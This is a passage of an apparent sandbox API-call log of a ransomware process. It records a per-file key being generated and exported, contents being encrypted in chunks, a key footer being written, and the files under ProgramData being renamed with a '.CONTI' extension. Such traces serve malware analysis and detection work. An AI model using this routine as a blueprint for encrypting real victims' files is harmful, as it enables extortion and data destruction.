	[0114.870] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edbres00002.jrs" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edbres00002.jrs")) returned 0x20
	[0114.870] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edbres00002.jrs" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edbres00002.jrs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0114.870] GetLastError () returned 0x5
	[0114.870] CryptDestroyKey (hKey=0x6b7f1b8) returned 1
	[0114.870] GetProcessHeap () returned 0x1720000
	[0114.870] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x176c018 | out: hHeap=0x1720000) returned 1
	[0114.870] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0114.870] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x65d9058 | out: phKey=0x65d9058*=0x6b7f1b8) returned 1
	[0114.870] CryptExportKey (in: hKey=0x6b7f1b8, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d905c, pdwDataLen=0x447fe94 | out: pbData=0x65d905c*, pdwDataLen=0x447fe94*=0x20c) returned 1
	[0115.428] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edbtmp.log" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edbtmp.log")) returned 0x20
	[0115.450] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\SmsRouter\\MessageStore\\edbtmp.log" (normalized: "c:\\programdata\\microsoft\\smsrouter\\messagestore\\edbtmp.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0115.450] GetLastError () returned 0x5
	[0115.450] CryptDestroyKey (hKey=0x6b7f1b8) returned 1
	[0115.450] GetProcessHeap () returned 0x1720000
	[0115.450] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7ab40 | out: hHeap=0x1720000) returned 1
	[0115.451] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0115.451] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x6b4f728 | out: phKey=0x6b4f728*=0x6b7f438) returned 1
	[0115.451] CryptExportKey (in: hKey=0x6b7f438, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4f72c, pdwDataLen=0x447fe94 | out: pbData=0x6b4f72c*, pdwDataLen=0x447fe94*=0x20c) returned 1
	[0115.451] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin")) returned 0x20
	[0115.451] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0115.452] GetLastError () returned 0x0
	[0115.452] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x447fe40 | out: lpFileSize=0x447fe40*=10661015) returned 1
	[0115.452] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xa2ac97
	[0115.452] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.452] SetEndOfFile (hFile=0x3dc) returned 1
	[0115.452] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.452] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.452] WriteFile (in: hFile=0x3dc, lpBuffer=0x6b4f72c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x447fe4c, lpOverlapped=0x0 | out: lpBuffer=0x6b4f72c*, lpNumberOfBytesWritten=0x447fe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0115.454] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.454] ReadFile (in: hFile=0x3dc, lpBuffer=0xbbf0000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x447fe6c, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesRead=0x447fe6c*=0x500000, lpOverlapped=0x0) returned 1
	[0119.599] CryptEncrypt (in: hKey=0x6b7f438, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x500000, dwBufLen=0x500000 | out: pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x500000) returned 1
	[0119.605] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0119.605] WriteFile (in: hFile=0x3dc, lpBuffer=0xbbf0000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x447fe80, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesWritten=0x447fe80*=0x500000, lpOverlapped=0x0) returned 1
	[0121.354] ReadFile (in: hFile=0x3dc, lpBuffer=0xbbf0000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x447fe6c, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesRead=0x447fe6c*=0x500000, lpOverlapped=0x0) returned 1
	[0124.022] CryptEncrypt (in: hKey=0x6b7f438, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x500000, dwBufLen=0x500000 | out: pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x500000) returned 1
	[0124.029] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x500000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.029] WriteFile (in: hFile=0x3dc, lpBuffer=0xbbf0000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x447fe80, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesWritten=0x447fe80*=0x500000, lpOverlapped=0x0) returned 1
	[0126.665] ReadFile (in: hFile=0x3dc, lpBuffer=0xbbf0000, nNumberOfBytesToRead=0x2ac97, lpNumberOfBytesRead=0x447fe6c, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesRead=0x447fe6c*=0x2ac97, lpOverlapped=0x0) returned 1
	[0126.681] CryptEncrypt (in: hKey=0x6b7f438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x2ac97, dwBufLen=0x500000 | out: pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x2aca0) returned 1
	[0126.682] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xa00000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.682] WriteFile (in: hFile=0x3dc, lpBuffer=0xbbf0000*, nNumberOfBytesToWrite=0x2aca0, lpNumberOfBytesWritten=0x447fe80, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesWritten=0x447fe80*=0x2aca0, lpOverlapped=0x0) returned 1
	[0128.806] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.815] WriteFile (in: hFile=0x3dc, lpBuffer=0x6b4f720*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x447fe98, lpOverlapped=0x0 | out: lpBuffer=0x6b4f720*, lpNumberOfBytesWritten=0x447fe98*=0x8, lpOverlapped=0x0) returned 1
	[0128.816] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.816] CloseHandle (hObject=0x3dc) returned 1
	[0128.816] GetProcessHeap () returned 0x1720000
	[0128.816] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0128.816] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin"
	[0128.816] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CONTI"
	[0128.816] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CONTI" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.conti")) returned 1
	[0128.817] GetProcessHeap () returned 0x1720000
	[0128.817] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0128.817] CryptDestroyKey (hKey=0x6b7f438) returned 1
	[0128.817] GetProcessHeap () returned 0x1720000
	[0128.817] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173baf8 | out: hHeap=0x1720000) returned 1
	[0128.817] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0128.817] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x6b469b8 | out: phKey=0x6b469b8*=0x17c80b0) returned 1
	[0128.817] CryptExportKey (in: hKey=0x17c80b0, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b469bc, pdwDataLen=0x447fe94 | out: pbData=0x6b469bc*, pdwDataLen=0x447fe94*=0x20c) returned 1
	[0128.818] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.014.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.014.etl")) returned 0x2020
	[0128.818] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.014.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.014.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0128.818] GetLastError () returned 0x0
	[0128.818] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x447fe40 | out: lpFileSize=0x447fe40*=8192) returned 1
	[0128.818] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2000
	[0128.818] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.818] SetEndOfFile (hFile=0x3dc) returned 1
	[0128.818] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.818] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.819] WriteFile (in: hFile=0x3dc, lpBuffer=0x6b469bc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x447fe4c, lpOverlapped=0x0 | out: lpBuffer=0x6b469bc*, lpNumberOfBytesWritten=0x447fe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0128.820] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.820] ReadFile (in: hFile=0x3dc, lpBuffer=0xbbf0000, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x447fe6c, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesRead=0x447fe6c*=0x2000, lpOverlapped=0x0) returned 1
	[0128.820] CryptEncrypt (in: hKey=0x17c80b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x2000, dwBufLen=0x500000 | out: pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x2010) returned 1
	[0128.820] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.820] WriteFile (in: hFile=0x3dc, lpBuffer=0xbbf0000*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x447fe80, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesWritten=0x447fe80*=0x2010, lpOverlapped=0x0) returned 1
	[0128.820] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.821] WriteFile (in: hFile=0x3dc, lpBuffer=0x6b469b0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x447fe98, lpOverlapped=0x0 | out: lpBuffer=0x6b469b0*, lpNumberOfBytesWritten=0x447fe98*=0x8, lpOverlapped=0x0) returned 1
	[0128.821] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.821] CloseHandle (hObject=0x3dc) returned 1
	[0128.821] GetProcessHeap () returned 0x1720000
	[0128.821] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0128.821] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.014.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.014.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.014.etl"
	[0128.821] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.014.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.014.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.014.etl.CONTI"
	[0128.821] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.014.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.014.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.014.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.014.etl.conti")) returned 1
	[0128.821] GetProcessHeap () returned 0x1720000
	[0128.821] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0128.821] CryptDestroyKey (hKey=0x17c80b0) returned 1
	[0128.821] GetProcessHeap () returned 0x1720000
	[0128.821] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c9970 | out: hHeap=0x1720000) returned 1
	[0128.822] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0128.822] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x6b47090 | out: phKey=0x6b47090*=0x17c8330) returned 1
	[0128.822] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b47094, pdwDataLen=0x447fe94 | out: pbData=0x6b47094*, pdwDataLen=0x447fe94*=0x20c) returned 1
	[0128.822] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.015.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.015.etl")) returned 0x2020
	[0128.822] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.015.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.015.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0128.823] GetLastError () returned 0x0
	[0128.823] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x447fe40 | out: lpFileSize=0x447fe40*=12288) returned 1
	[0128.823] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3000
	[0128.823] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.823] SetEndOfFile (hFile=0x3dc) returned 1
	[0128.823] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.823] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.823] WriteFile (in: hFile=0x3dc, lpBuffer=0x6b47094*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x447fe4c, lpOverlapped=0x0 | out: lpBuffer=0x6b47094*, lpNumberOfBytesWritten=0x447fe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0128.824] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.824] ReadFile (in: hFile=0x3dc, lpBuffer=0xbbf0000, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x447fe6c, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesRead=0x447fe6c*=0x3000, lpOverlapped=0x0) returned 1
	[0128.825] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x3000, dwBufLen=0x500000 | out: pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x3010) returned 1
	[0128.825] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.825] WriteFile (in: hFile=0x3dc, lpBuffer=0xbbf0000*, nNumberOfBytesToWrite=0x3010, lpNumberOfBytesWritten=0x447fe80, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesWritten=0x447fe80*=0x3010, lpOverlapped=0x0) returned 1
	[0128.825] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.825] WriteFile (in: hFile=0x3dc, lpBuffer=0x6b47088*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x447fe98, lpOverlapped=0x0 | out: lpBuffer=0x6b47088*, lpNumberOfBytesWritten=0x447fe98*=0x8, lpOverlapped=0x0) returned 1
	[0128.826] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.826] CloseHandle (hObject=0x3dc) returned 1
	[0128.826] GetProcessHeap () returned 0x1720000
	[0128.826] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0128.826] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.015.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.015.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.015.etl"
	[0128.826] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.015.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.015.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.015.etl.CONTI"
	[0128.826] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.015.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.015.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.015.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.015.etl.conti")) returned 1
	[0128.826] GetProcessHeap () returned 0x1720000
	[0128.826] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0128.827] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0128.827] GetProcessHeap () returned 0x1720000
	[0128.827] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c8b60 | out: hHeap=0x1720000) returned 1
	[0128.827] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0128.827] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x6b482d0 | out: phKey=0x6b482d0*=0x17c8570) returned 1
	[0128.827] CryptExportKey (in: hKey=0x17c8570, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b482d4, pdwDataLen=0x447fe94 | out: pbData=0x6b482d4*, pdwDataLen=0x447fe94*=0x20c) returned 1
	[0128.827] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.016.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.016.etl")) returned 0x2020
	[0128.828] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.016.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.016.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0128.828] GetLastError () returned 0x0
	[0128.828] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x447fe40 | out: lpFileSize=0x447fe40*=8192) returned 1
	[0128.828] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2000
	[0128.828] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.828] SetEndOfFile (hFile=0x3dc) returned 1
	[0128.828] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.828] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.828] WriteFile (in: hFile=0x3dc, lpBuffer=0x6b482d4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x447fe4c, lpOverlapped=0x0 | out: lpBuffer=0x6b482d4*, lpNumberOfBytesWritten=0x447fe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0128.829] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.830] ReadFile (in: hFile=0x3dc, lpBuffer=0xbbf0000, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x447fe6c, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesRead=0x447fe6c*=0x2000, lpOverlapped=0x0) returned 1
	[0128.830] CryptEncrypt (in: hKey=0x17c8570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x2000, dwBufLen=0x500000 | out: pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x2010) returned 1
	[0128.830] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.830] WriteFile (in: hFile=0x3dc, lpBuffer=0xbbf0000*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x447fe80, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesWritten=0x447fe80*=0x2010, lpOverlapped=0x0) returned 1
	[0128.830] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.830] WriteFile (in: hFile=0x3dc, lpBuffer=0x6b482c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x447fe98, lpOverlapped=0x0 | out: lpBuffer=0x6b482c8*, lpNumberOfBytesWritten=0x447fe98*=0x8, lpOverlapped=0x0) returned 1
	[0128.830] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.830] CloseHandle (hObject=0x3dc) returned 1
	[0128.830] GetProcessHeap () returned 0x1720000
	[0128.830] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
